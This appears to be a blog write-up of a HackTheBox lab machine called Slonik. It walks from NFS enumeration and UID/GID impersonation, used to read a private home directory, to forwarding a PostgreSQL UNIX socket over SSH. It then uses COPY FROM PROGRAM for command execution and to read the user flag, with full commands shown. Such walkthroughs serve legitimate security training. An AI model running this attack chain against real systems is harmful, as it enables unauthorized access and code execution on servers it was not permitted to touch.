Post

Slonik

Slonik is a medium Linux box centered on NFS and PostgreSQL. NFS exports trust client-supplied UID/GID, so matching a local user to the share owner unlocks a private home directory leaking database credentials. PostgreSQL listens only on a local UNIX socket with peer-trust auth — forwarding that socket over SSH gives password-less superuser access, and COPY FROM PROGRAM turns it into command execution for the user flag. This post covers recon through user.txt.

Slonik

Overview

Slonik is a Medium-difficulty Linux machine focused on NFS and PostgreSQL abuse. The path to user.txt chains an NFS UID/GID trust weakness (to read a private home directory and leak database credentials) with a PostgreSQL UNIX socket forwarded over SSH, where the built-in COPY ... FROM PROGRAM gives command execution as the postgres user. This post stops at the user flag.

Recon

PortService
22OpenSSH 8.9p1 (Ubuntu)
111rpcbind
2049NFS (nfs_acl)
1
2
nmap -p- --min-rate=1000 -T4 10.129.234.160
nmap -p22,111,2049 -sC -sV 10.129.234.160

Three ports, and the interesting pair is 111 + 2049 — NFS. With no web service in sight, the NFS exports are the way in.

Enumeration

NFS (2049)

List the exports, then enumerate their contents and ownership:

1
2
showmount -e 10.129.234.160
nmap -p 111,2049 --script nfs-showmount,nfs-ls,nfs-statfs 10.129.234.160

Two shares are exported: /home and /var/backups. Inside /home is a directory service owned by UID 1337 / GID 1337 with rwxr-x--- permissions — readable only by that user. NFS (AUTH_SYS) authorizes access by the UID/GID the client presents, with no server-side check.

Impersonating UID 1337

Mount the export, then create a local user whose UID and GID match the directory owner. The NFS server then serves the protected files to “the owner”:

1
2
3
4
sudo mount -t nfs 10.129.234.160:/ /mnt/nfs_target -o nolock
sudo groupadd -g 1337 service
sudo useradd -u 1337 -g 1337 -M -s /bin/bash service
sudo -u service cat /mnt/nfs_target/home/service/.psql_history

.psql_history contains an INSERT with the service user’s password stored as an unsalted MD5 hash (aaabf0d3...), which reverses to service. .bash_history reveals the database is reachable through a local UNIX socket: /var/run/postgresql/.s.PGSQL.5432.

Foothold

PostgreSQL listens only on its local UNIX socket with peer/trust authentication — no password needed locally. SSH access as service works but the shell is restricted (the session closes immediately), so instead of a shell, forward the remote socket to a local one:

1
2
sshpass -p '<redacted>' ssh -fN -o ExitOnForwardFailure=yes \
  -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 [email protected]

Now connect locally as the password-less superuser and confirm command execution via COPY ... FROM PROGRAM:

1
2
psql -h /tmp -U postgres -c "CREATE TABLE x(o text); COPY x FROM PROGRAM 'id'; SELECT * FROM x;"
# -> uid=115(postgres) gid=123(postgres) ...

That confirms RCE as the postgres OS user, entirely non-interactively.

User flag

1
psql -h /tmp -U postgres -c "CREATE TABLE u(o text); COPY u FROM PROGRAM 'cat /var/lib/postgresql/user.txt'; SELECT * FROM u;"   # HTB{...}

Command execution as postgres achieved, and the user flag lives at /var/lib/postgresql/user.txt.

Foothold complete. Privilege escalation is left as an exercise — this post stops at user.

This post is licensed under CC BY 4.0 by the author.